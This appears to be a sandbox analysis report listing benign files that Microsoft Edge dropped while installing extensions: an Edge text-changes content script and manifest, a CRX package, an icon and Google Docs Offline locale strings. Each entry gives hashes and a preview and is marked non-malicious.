C:\Users\user\AppData\Local\Temp\scoped_dir6932_1772472923\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6932_1772472923\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6932_1772472923\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_1772472923\e67df80f-021b-47c6-970c-b354d88ad964.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
